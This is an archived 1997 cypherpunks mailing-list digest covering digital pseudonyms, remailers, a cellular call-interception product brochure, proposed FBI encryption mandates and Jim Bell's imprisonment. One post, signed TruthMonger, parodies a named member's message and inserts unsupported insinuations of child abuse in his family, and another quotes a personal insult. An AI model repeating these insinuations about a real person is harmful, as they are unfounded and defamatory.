Message-ID: <3.0.1.32.19970922093831.00b4b320@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:53 AM 9/22/97 -0400, Declan McCullagh wrote:
>[This story was scheduled for page 18 of this week's Time magazine, but got
>cut at the last minute and replaced with a Diana investigation update.

I think you've managed to sum up everything wrong with the world in just
one sentence.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 23 Sep 1997 01:42:33 +0800
To: Wei Dai <cypherpunks@toad.com>
Subject: Re: encouraging digital pseudonyms
In-Reply-To: <Pine.SUN.3.96.970922031430.14500A-100000@eskimo.com>
Message-ID: <v03102805b04c51cb80d0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 3:16 AM -0700 9/22/97, Wei Dai wrote:
>One of Tim's suggested cypherpunk projects is to encourage the use of
>digital pseudonyms (i.e. cryptographically persistent entities not linked
>with True Names). I think the main reason why pseudonyms are not used more
>widely is the lack of support on client software, especially on the
>receiver side. When I see a piece of email sent to the cypherpunks list
>from an anonymous remailer, I typically delete it without reading, because
>there is no easy way to tell between anynoymous email (which are typically
>junk) and pseudonymous email, and there is no easy way to filter by
>pseudonym.

I'm planning to make more serious use of pseudonyms, digitally signed.
Despite what LD used to claim about my use of "tentacles," it was simply
too much trouble to do the elaborate cut-and-paste of using PGP 2.0, 2.1.
2.6, etc. for my Mac.

I still lack a good remailer-chaining utility--anyone know one for the Mac,
one that will read Raph's list of reliable remailers, slurp down the public
keys, construct a sequence of chainings?

But I now am using PGP 5.0, which is well-integrated with my mailer
(Eudora), and I plan to spend some effort creating some persistent, signed
personnas. (I won't say when, so don't assume any new "nyms" you see here
are mine.)

To this end, this message is being signed. With my new PGP 5.0 key. Signed
by my old (really, really, old) 1992 key.

>Of course the long-term solution is to get native pseudonym support on the
>client software, but in the mean time there is a fairly simple workaround
>if someone wants to volunteer a modest amount of resources. That person
>should set up a mailing list that simply resends cypherpunk traffic that
>are signed by pseudonyms. To help filtering, the pseudonym's key hash
>should be prepended to the subject.

This would be a quite good service, one requiring no conscious effort by
the original sender (that is, he doesn't have to use the "nym signature
checker" as the last remailer...he just posts to the list, and someone
else, as Wei describes, performs the "service" of checking the signature
and putting it in the From: field (or maybe the Subject: field, if he can't
overwrite the From: field).

>When this is done, those of us who want to can filter out everything sent
>by remailers to the cypherpunks mailing list and subscribe to the proposed
>service. If enough of us do this, it should motivate anonymous senders to
>set up persistent identities. If the trouble of generating new pseudonyms
>is not enough to discourage the anonymous junk, the proposed service can
>charge ecash or hashcash either per pseudonym or per email.

A good idea.

- --Tim May  (P.S. I haven't yet uploaded my new key to the MIT keyserver, as
I wanted to play with it for a while first, in case I need to generate
another one due to some problem.)


The Feds have shown their hand: they want a ban on domestic cryptography
- ---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."



-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNCaj2VK3AvrfAt9qEQJJPQCdESzCe42WM/0Mttv53zizCOBuhToAoJL7
24hwTRoltRpopsc3OHHi7ZQH
=wGEl
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 22 Sep 1997 22:32:14 +0800
To: cypherpunks@cyberpass.net
Subject: End-to-end cellular encryption needed - CDisk from Comverse Technology
Message-ID: <3ab277387c80cdaa7f82bfc0bf24e729@anon.efga.org>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3984.1071713733.multipart/signed"

--Boundary..3984.1071713733.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

This is just one commercial product that implements most of what CALEA
requires.  The great thing about market economies is that we'll obtain the
surveillance state at a competitive price.

======

Excerpts from "The CDisk Product Description", Reliable, Customized Solutions
for Intercepting Calls from Cellular Switches

Comverse's CDisk is a comprehensive digital audio system.  It intercepts
and captures call audio and data from cellular switches and distributes it to
designated Monitoring Centers where it is processed and archived.

In order to be effective, interception facilities for switches in cellular
networks must offer

* One system that supports all cellular networks.
* Target subscriber management.
* Access to all calls in which the target subscriber is a party.
* Coverage of all types of calls.
* Automatic collection of call data (Session Related Information - SRI),
  combined unambiguously into one conversation file.
* Strict security provisions.

CDisk meets the need with a mature, field-proven product

CDisk covers all cellular networks:

* Its field-proven interface connects with all major switches.
* Its open system supports multiple networks and Monitoring Centers.
* Its modular concept adapts simply to new standards and technologies.

With CDisk's target-subscriber management tools, authorized users can:

* Automatically process thousands of targets.
* Add, edit and delete targets from the list.
* Schedule start and end times, as well as define other conditions for
  interception.
* Seamlessly cover targets across multiple networks.
* For each target, define access rights for multiple Monitoring Centers,
  from organizations down to individual users.
* Define priority targets.

CDisk provides comprehensive call access by:

* Covering all types of calls including voice calls, data calls - voice band
  modem, facsimile calls, short message service (SMS), unrestricted data calls.
* Monitoring all types of call services, including call transfer,
  forward calls, diverted calls, conference or multi-party calls (CDisk
  accesses all parties involved.), call waiting.
* Processing mixed voice and data calls.
* Monitoring uncompleted and busy call attempts.
* Supporting call diversion supplementary services.
* Covering roaming visitors.

Automatic collection of the following data for each target subscriber's call
(Session Related Information):

* Equipment ID - IMEI.
* Called number, including cases of uncompleted calls (for MSISDN and IMSI).
* Specification of the type of call (voice, data, fax, or SMS).
* Conference call party numbers.
* Diverted call number.
* Target subscriber cell location - Location Area Identity (LAI) at call
  start and call termination.
* Date, time, and duration of call.
* Enabling users to listen to calls in real-time or in playback (after they
  are recorded).




--Boundary..3984.1071713733.multipart/signed
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Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00007.pgp"
Content-Description: "PGP signature"

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cjJ5UitnWEVpUWEzUkJjc1RCQQpPcWV5VmhGN1pIdkx4WFh5V1lneGxlQUpQ
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UCBNRVNTQUdFLS0tLS0K
--Boundary..3984.1071713733.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Mon, 22 Sep 1997 22:48:09 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: "Matchcode" technology sparks privacy flames.....
In-Reply-To: <3.0.3.32.19970920151414.006db534@postoffice.worldnet.att.net>
Message-ID: <3.0.3.32.19970922103458.0377ca7c@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 07:48 AM 9/22/97 +0000, Tim May wrote:
>At 12:14 PM -0700 9/20/97, Will Rodger wrote:
>
>>One of the main assertions made by both sides in the privacy 
battles
>>is people must be informed when a third party is gathering 
"personal"
>>information about them.
>>
>
>I don't know which two sides are the "both sides" you'r describing, 
but "my
>side" believes no such thing.

Both sides, in this case, is pretty much everyone at the FTC 
roundtable last June. 

The one exception I recall is the position taken by the Competitive 
Enterprise Institute. The CEI took the position that no regulation at 
all was needed and that marketplace forces would police the Net. 
Their view, for better or worse, is not very visible elsewhere.

Another solution, of course, is a techno-arms race solution to 
privacy. That works for readers of this list, but that's not who the 
FTC worries about. Libertarians will, of course, shudder at the 
notion that they should.
-----BEGIN PGP SIGNATURE-----
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Charset: noconv

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BHcfSL4Ns1bl9hAO2KOPYV+a
=G/I3
-----END PGP SIGNATURE-----

Will Rodger                                           Voice: +1 202-408-7027 
Washington Bureau Chief                        Fax: +1 202-789-2036
Inter@ctive Week                    http://www.interactiveweek.com
A Ziff-Davis Publication            
PGP 5.0: 584D FD11 3035 0EC2 B35C AB16 D660 293F C7BE 3F62
       PGP 2.6.2: D83D 0095 299C 2505 25FA 93FE DDF6 9B5F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Mon, 22 Sep 1997 22:54:32 +0800
To: Declan McCullagh <tcmay@got.net>
Subject: Re: "Matchcode" technology sparks privacy flames.....
In-Reply-To: <v03102800b04bd2b0a402@[207.167.93.63]>
Message-ID: <3.0.3.32.19970922104428.006977f4@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>I spent the weekend in West Virginia, where folks are more than 
happy to
>gossip with (and about) their neighbors. Nobody would try to shut 
them up
>through force of law. This principle does not disappear when the
>information being shared is digital.
>


That's a bold assertion, but not one that squares easily with the 
half-dozen or so privacy laws already on the books at the federal 
level.

I would like to go to those small-town folk of whom urban 
intellectuals write so eloquently and ask them what they would think 
of their neighbors posting all their gossip to a place where millions 
can read it. Something tells me they wouldn't see those two actions 
as one in the same. There is a qualitiative difference between the 
two.

That's about as far as I'm going on that one.

I'm sure Bernstein, DeFalco et al. will have clear reasons for why 
none of us should care less.




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KAT20ILcFXUM7hFuBdocaomq
=rWy6
-----END PGP SIGNATURE-----

Will Rodger                                           Voice: +1 202-408-7027 
Washington Bureau Chief                        Fax: +1 202-789-2036
Inter@ctive Week                    http://www.interactiveweek.com
A Ziff-Davis Publication            
PGP 5.0: 584D FD11 3035 0EC2 B35C AB16 D660 293F C7BE 3F62
       PGP 2.6.2: D83D 0095 299C 2505 25FA 93FE DDF6 9B5F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Mon, 22 Sep 1997 19:39:36 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The problem of playing politics with our constitutional   rights
Message-ID: <3429560f.30622794@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 22 Sep 1997 02:32:12 -0500, Alan <alan@ctrl-alt-del.com> wrote:

>Mail is another hole.  Eudora now distributes PGP 5.0 with the latest
>version.  (This version does not do RSA keys. You can get the plug in to do
>those keys from PGP inc.)  This is helpful, but there are many other
>plug-ins that need to be written.  Support for remailers is lacking.
>Windows based code for Mixmaster is also a needed thing.  A good interface
>would help immensely.  (Private Idaho was a big step in the right
>direction. Integrated with a remailer people already use would be another
>big step forward.)
>

Agreed.  I think Remailer support could be a big opportunity.  People may
not understand/care-about encryption, digital signing, etc., but they
definitely understand the need for anonymity.

Question:  If a free remailer plugin for eudora is released, can the
remailers handle the increased load?  Are there enough remailers?
People will not tolerate more than a 24 hour delay for getting their
messages delivers.  What about spamming?  

Another Question:  Since such a plugin uses (has the hooks for) encryption,
would it be covered by ITAR?  (i'm asking because I'm seriously considering
making the eudora plugin)

Anyway, the remailer 'network' needs to be strengthened.  Right now,
Raph's pinging service (or whatever private idaho uses) is the only way
private idaho can tell which servers are up.  Attack this point, and
reliability when chaining remailers becomes uncertain.    Imagine a TLA
co-opting this service and altering the list to favor government friendly
remailers.

It also needs to be easier to set up a remailer.  I'd like to see the
software distributed in .deb and .rpm packages for Linux.  Once set up, the
remailer could automatically announce itself to the world (perhaps via a
newsgroup post).  The various listing services would pick up on this.  The
more automated it is, the better.



>I am sure that people can think of all sorts of other ideas for needed
>apps.  But to make them usable for the "general public", the apps will be
>needed to be written for Windows.  (As much as I hate to think about it...)

Private idaho needs to be rewritten (in Java possibly) to be simpler to
operate.  There should be one button to press to send a message without
messing with what type and which remailers to use; the program could choose
these things randomly (ok, it's not the best thing to do, but at least it's
easy to use).  It also should be updated to use pgp 5.0 (not exclusively,
of course).  If possible, also add support for the Eternity Service.

Stenography Plugin for mail/news readers.  It's our one (and possibly only)
defense against GAK.  You can't decrypt what you can't see.  (watch for
Stenography to be classified as encryption and be similarly restricted.)

Is there any support for signed web pages?  Is this covered by SSL?









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Tue, 23 Sep 1997 01:30:05 +0800
To: Chip Mefford <cmefford@avwashington.com>
Subject: Re: y2k as ideological opportunity.
In-Reply-To: <v03102807b04849f2a784@[207.79.65.77]>
Message-ID: <Pine.BSF.3.91.970922114106.29736A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 19 Sep 1997, Chip Mefford wrote:

> >>[IRS collection mechanism collapses due to y2k problem]
> >
> >If such a thing actually happened, I strongly suspect they'd
> >activate the contingency plan that was developed to maintain
> >tax collection after nuclear war; a flat 20% sales tax,
> >collected (I think) by surviving Post Office employees.
> >
> >Come to think of it, that might be better than what we have
> >now....
> >
> >
> 
> 
> Naw, its gonna be real simple and clean.
> 
> The bid goes out,
> 
> Billgatus of Borg brings in a crapload of DEC/NT partner machines,
> puts 500 programmers on porting the tasking and data to
> Office 98, retrains the IRS on Office,
> Slides right past Oct 1999 without a hitch, you

... and delivers "IRS 1999" in August of 2002 ...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Mon, 22 Sep 1997 10:57:42 +0800
To: cypherpunks-j@htp.org
Subject: Cypherpunks-J meeting 9/27
Message-ID: <199709220249.LAA29648@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



Sorry for the cross postings...

Cypherpunks-J 9/27 meeting

Location: Bithaus http://www.bithaus.co.jp/ (has map)
Time: 1pm

Language: The meeting will be conducted primarily in Japanese, 
but there will be translation for non-Japanese if necessary
so RSVP.

Agenda:

Currently being discussed on cypherpunks-j, but will include:

Writing Japanese Cypherpunk text and putting it online
Writing code in Japan
Update on US Policy activity
Keysigning

If you would like to participate in the keysigning, please
send your PGP Key Fingerprint and ID to keysign@ji.to

P.S. If you have something you would like to present at the
meeting, please bring it up in cypherpunks-j@htp.org


--
Ars Electronica 9/8-9/14 -- GSM in Europe: +49-171-357-9233 (rental)
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <Declan_McCullagh@timemagazine.com>
Date: Tue, 23 Sep 1997 00:20:29 +0800
To: cypherpunks@toad.com
Subject: What will it cost to let Big Brother watch?
Message-ID: <v03007802b04c403348a4@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



[This story was scheduled for page 18 of this week's Time magazine, but got
cut at the last minute and replaced with a Diana investigation update.
Background: Previous CBO cost estimates released in May and July focused on
versions of SAFE that dealt only with exports. This estimate not only
covers the costs of operating snooperware systems; it predicts that some
products may drop crypto and users may abandon its use if such a
requirement exists. Enjoy. --Declan]

******

ENCRYPTION
What Will It Cost To Let Big Brother Watch?
By Declan McCullagh

High tech firms battling what they call an Orwellian
anti-privacy bill in Congress are challenging a new
government study. Last Friday the Congressional Budget
Office stuck a price tag on a bill that would ban the
manufacture of telephones, computers, and software
that the FBI can't easily monitor. The amount
consumers would pay: an estimated $200 million to $2
billion a year.

But technology groups say the true cost would be
astronomical. "It would be the greatest technological
challenge the U.S. software industry is facing today,
larger than the year 2000 problem. We don't know how
to do this," says Jon Englund of the Information
Technology Association of America. He says that since
the CBO study focuses on computer programs and not the
Internet, the true cost would be hundreds of billions
higher. A huge chunk of existing technology would have
to be redesigned, and plans to protect cyberspace from
eavesdroppers would be derailed.

That's an acceptable tradeoff, say the plan's backers.
"Organized crime, drug organizations, and terrorist
organizations have the ability to use encryption and
render law enforcement folks unable to have access,"
says Rep. Michael Oxley (R-Ohio), a backer of the
FBI's plan. The House Commerce committee is scheduled
to vote on Oxley's proposal on Thursday.



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 23 Sep 1997 03:39:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jim Bell Letter
In-Reply-To: <1.5.4.32.19970922112723.00823294@pop.pipeline.com>
Message-ID: <v03102808b04c7480a81f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:27 AM -0700 9/22/97, John Young wrote:
>We offer a recent letter from Jim Bell that describes
>prison and his prospects:
>
>   http://jya.com/jimbell4.htm
>
>It is published against his wishes, maybe. Read the letter to
>see the fear (or caginess) loss of freedom teaches.

And John Young, at that URL, writes:

"[Below my reason for publishing Jim's letter. JY]

XXX,

I'd like to publish Jim's letter.

I feel that I've been trapped into silence by his letter,
by the Feds, through threats to Jim. And that
he may be cooperating with them to understandably
save his own ass, and thereby wittingly or unwittingly
threatening others, including me, or at the very least
chilling public discussion of his case.

As with the IRS spam many of us received, Jim's letter
is meant to isolate us and leave us uneasy about whose
doing what to who, and thus making us easy to pick
off one by one, and to squeal on others who we've
been induced to believe is squealing on us, or to
distance ourselves from, as Jim is now doing. Mainly,
though, such crap makes us shut up and behave, and
that's the lonely dark cell of self-censorship,
self-imprisonment.

The letter needs to be made public, or at least I need
to speak up about it to get free of the trap. I'll put it
on my Web site, stating that it came anonymously.

John

--end quoted material--

John is indeed correct that the 6-8 month "delay" in sentencing Bell is
designed to send a "message." Both by letting the process linger, and by,
perhaps, inducing Bell to "remember" things that implicate others in the
whole AP thing. And of course to get him to "repent" and engage in the sad
display of self-criticism, Mao-style, we see in Bell's words. Very sad.

We long ago lost the "speedy trial" aspect of our system...even when OJ
thought a speedy trial would help him (as it probably did), the trial did
not get underway until more than 7 months after the murders (and of course
it last another 9 months). More typical is a trial date set a year or two
after the arrests. (Granted, often this is at the urging of the accused's
side.)

Now we are seeing _sentencing_ delayed by 6-8 months, while Bell rots in
jail. Exactly what did the presiding judge lack to pronounce sentence on
Bell the same day, or perhaps within a few days, of his conviction?

The answer can only be that they wish to break Bell, to get him to reveal
names and messages, and to draw out the process to maximize the publicity.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 22 Sep 1997 18:45:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Matchcode" technology sparks privacy flames.....
In-Reply-To: <3.0.3.32.19970920151414.006db534@postoffice.worldnet.att.net>
Message-ID: <199709221038.MAA26800@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

> At 12:14 PM -0700 9/20/97, Will Rodger wrote:
> 
> >One of the main assertions made by both sides in the privacy battles
> >is people must be informed when a third party is gathering "personal"
> >information about them.
> >
> 
> I don't know which two sides are the "both sides" you'r describing, but "my
> side" believes no such thing.


We do, we just like to phrase it differently.  Such as "if you aren't using
remailers, they're gathering information about you."


> The Feds have shown their hand: they want a ban on domestic cryptography
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."

Consider yourself informed that a third party has gathered the above
information about you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 23 Sep 1997 04:16:33 +0800
To: Lizard <lizard@dnai.com>
Subject: Re: What will it cost to let Big Brother watch?
In-Reply-To: <3.0.1.32.19970922093831.00b4b320@dnai.com>
Message-ID: <Pine.SUN.3.91.970922130733.20323E-100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 22 Sep 1997, Lizard wrote:

> At 11:53 AM 9/22/97 -0400, Declan McCullagh wrote:
> >[This story was scheduled for page 18 of this week's Time magazine, but got
> >cut at the last minute and replaced with a Diana investigation update.
> 
> I think you've managed to sum up everything wrong with the world in just
> one sentence.

No kidding.

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 23 Sep 1997 04:19:59 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: [URGENT] Blowfish
In-Reply-To: <598f41e9429856e4e84ca808fbaafef2@anon.efga.org>
Message-ID: <Pine.A41.3.95.970922140834.23924E-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 22 Sep 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy C[rook] May's reheated, refurbished, and regurgitated cud is 
> completely inappropriate for the mailing lists into which it is 
> cross-ruminated.
> 
>          _______c___c
>         /       /_  _\
>        |       ((6)(6)) Timmy C[rook] May
>        (  )_  __\\  //__
>        o___n) (nn)\o/(nn)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 23 Sep 1997 04:46:22 +0800
To: cypherpunks@toad.com
Subject: MatchPseudonym Technology / Re: encouraging digital pseudonyms
In-Reply-To: <v03102805b04c51cb80d0@[207.167.93.63]>
Message-ID: <3426D660.6874@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA2
> 
> At 3:16 AM -0700 9/22/97, Wei Dai wrote:
> >One of Tim's suggested cypherpunk projects is to encourage the use of
> >digital pseudonyms (i.e. cryptographically persistent entities not linked
> >with True Names).

  Like TruthMonger!

> >When I see a piece of email sent to the cypherpunks list
> >from an anonymous remailer, I typically delete it without reading, because
> >there is no easy way to tell between anynoymous email (which are typically
> >junk) and pseudonymous email, and there is no easy way to filter by
> >pseudonym.

  I was wondering why you never did anything about the child abuse
taking place in your family. I guess you deleted my anonymous email
to you about the situation.
 
> I'm planning to make more serious use of pseudonyms, digitally signed.
> Despite what LD used to claim about my use of "tentacles," it was simply
> too much trouble to do the elaborate cut-and-paste of using PGP 1.9, 2.7.
> 2.85, etc. for my Amiga.

  Well, if Mr. Cryptography himself finds it too much trouble to
use cryptography, then I guess it shows how lame the efforts are
of the CypherPunks who complain that Joe Sheeple doesn't use it,
either.

> But I now am using PGP 5.6, which is well-integrated with my mailer
> (Eudora), and I plan to spend some effort creating some persistent, forged
> personnas. (I won't say when, so don't assume any new "nyms" you see here
> are mine, except for TruthMonger.)
> 
> To this end, this message is being signed. With my new PGP 5.6 key. Signed
> by my old (really, really, old) 1989 key.

  This ought to ensure that you won't be the target of forgeries in
your name, or scum who misquote and/or twist your words.
 
> >Of course the long-term solution is to get native pseudonym support on the
> >client software, but in the mean time there is a fairly simple workaround
> >if someone wants to volunteer a modest amount of resources. That person
> >should set up a mailing list that simply resends cypherpunk traffic that
> >are signed by pseudonyms. To help filtering, the pseudonym's key hash
> >should be prepended to the subject.

  This would take care of that pesky problem of being bothered with
anonymous messages informing you about your children being molested
by their teachers, etc.
   
> >When this is done, those of us who want to can filter out everything sent
> >by remailers to the cypherpunks mailing list and subscribe to the proposed
> >service. If enough of us do this, it should motivate anonymous senders to
> >set up persistent identities. If the trouble of generating new pseudonyms
> >is not enough to discourage the anonymous junk, the proposed service can
> >charge ecash or hashcash either per pseudonym or per email.

  This surely ought to help in removing the scourge of remailers
currently plaguing the Internet, or at least force remailer users
to get their Cypherpunk approved pseudo-identity numbers.
  It is certainly important to get the message out to others on the
Internet that people who use anonymous remailers don't have anything
of worth to say.
  Cypherpunk identity numbers will help us to cull out the misfits
and wrong-thinkers from the Internet. It's about time.

TruthMonger
"Just say no to Anonymous inside."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 22 Sep 1997 21:23:49 +0800
To: cypherpunks@toad.com
Subject: Re: Your mail
Message-ID: <199709221313.PAA11287@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



<---- Begin Forwarded Message ---->
Sorry to do this to you. This is a love chain letter.  Within 5 days you
>must send it to 10 other people.  On the 5th day a person you like will ask
>you out, or
>>tell you that  they love you.  If you do not send it you will have problems
>>in future relationships.  It has been going since 1877 and hasn't
>>stopped since.
>>
>>
>>Around the corner I have a friend,
>>> In this great city that has no end,
>>> Yet the days go by and weeks rush on,
>>> And before I know it, a year is gone.
>>> And I never see my old friends face,
>>> For life is a swift and terrible race,
>>> He knows I like him just as well,
>> As in the days when I rang his bell.
>>> And he rang mine
>>> if, we were younger then,
>>> And now we are busy, tired men.
>>> Tired of playing a foolish game,
>>> Tired of trying to make a name.
>>> "Tommorow" I say "I will call on Jim"
>>> "Just to show that I'm thinking of him."
>>> But tommorow comes and tommorow goes,
>>> And distance between us grows and grows.
>>> Around the corner!- yet miles away,
>>> "Here's a telegram sir"
>>> "Jim died today."
>>> And thats what we get and deserve in the end.
>>> Around the corner, a vanished friend.
>>>
>> Remember to always say what you mean.  If you love someone, tell them.
>Don't be afraid to express yourself.  Reach out and tell someone what they
>mean to you.   Beause when you decide that it is the right time, it might be
>too late.  Seize the day.  Never have regrets. And most importantly, stay
>close to your friends and family, for they have helped make you the person
>that you are today.
>>
>> Pass this along to your friends. It could make a difference.  The
>difference between doing all that you can or having regrets which may stay
>with you forever.
>>
>>
>>
>>
>>*note* The more people that you send this to, the better luck you will have.
>>
>> "If life is a waste of time, and time is a waste of life", then let's all
>get wasted together and have the time of our lives."
>>
>>


<----  End Forwarded Message  ---->








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@best.com>
Date: Mon, 22 Sep 1997 19:31:31 +0800
To: cypherpunks@toad.com (Cypherpunks)
Subject: Flynt Daughter is pro CDA [fwd][news]
Message-ID: <199709221635.QAA00499@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



*** Keep cyberporn from children, Flynt daughter says

Anti-pornography activist Tonya Flynt-Vega said Friday she was "very
disappointed" the U.S. Supreme Court struck down a law meant to keep
Internet smut away from children. Flynt-Vega, 32, daughter of Hustler
magazine founder Larry Flynt, said children tended to be much more
computer-literate than adults and were especially prone to "unwelcome
contacts" on the Internet. " ... I want there to be some laws
regulating that stuff. Don't put it in my face or my child's face,"
she said. The Supreme Court ruled June 26 that Congress violated
free-speech rights when it tried to curb smut on the Internet. For
story http://www.infobeat.com/stories/cgi/story.cgi?id=5031497-28e         

-- 
Powell lingered. "How's Earth?" 
It was a conventional enough question and Muller gave the 
conventional answer, "Still spinning."
				      -- "Reason", Asimov. 
==================================================================
Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@best.com 	                  | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gturk@concentric.net
Date: Tue, 23 Sep 1997 04:53:03 +0800
To: phelix@vallnet.com
Subject: Re: The politics of problem playing with our constitutional rights
In-Reply-To: <3429560f.30622794@128.2.84.191>
Message-ID: <3.0.3.32.19970922164300.0091ca10@pop3.concentric.net>
MIME-Version: 1.0
Content-Type: text/plain



At 11:28 AM 9/22/97 GMT, phelix@vallnet.com wrote:

>On 22 Sep 1997 02:32:12 -0500, Alan <alan@ctrl-alt-del.com> wrote:

>>Mail is another hole.  Eudora now distributes PGP 5.0 with the latest
>>version.  (This version does not do RSA keys. You can get the plug in to do
>>those keys from PGP inc.)  This is helpful, but there are many other
>>plug-ins that need to be written.  Support for remailers is lacking.
>>Windows based code for Mixmaster is also a needed thing.  A good interface
>>would help immensely.  (Private Idaho was a big step in the right
>>direction. Integrated with a remailer people already use would be another
>>big step forward.)

>Agreed.  I think Remailer support could be a big opportunity.  People may
>not understand/care-about encryption, digital signing, etc., but they
>definitely understand the need for anonymity.

Give the people what they want.

>Question:  If a free remailer plugin for eudora is released, can the
>remailers handle the increased load?  Are there enough remailers?
>People will not tolerate more than a 24 hour delay for getting their
>messages delivers.  What about spamming?  

Use hashcash, or even better, digital cash of your chosen currency.

It costs 32 cents to mail a first class letter.  Is it worth paying that to 
send an anonymous email through a chain of a dozen remailers using a Eudora 
plug-in, or a java applet?  For some people it is, if it's made easy to do.

If a thousand people used it each day, that would mean $320 every 24 hours, 
or $116,800 a year to be divided up amongst the 12 remailer operators.  
Similar possibilities exist for remailer pinging services and nymservers.

>>I am sure that people can think of all sorts of other ideas for needed
>>apps.  But to make them usable for the "general public", the apps will be
>>needed to be written for Windows.  (As much as I hate to think about it...)

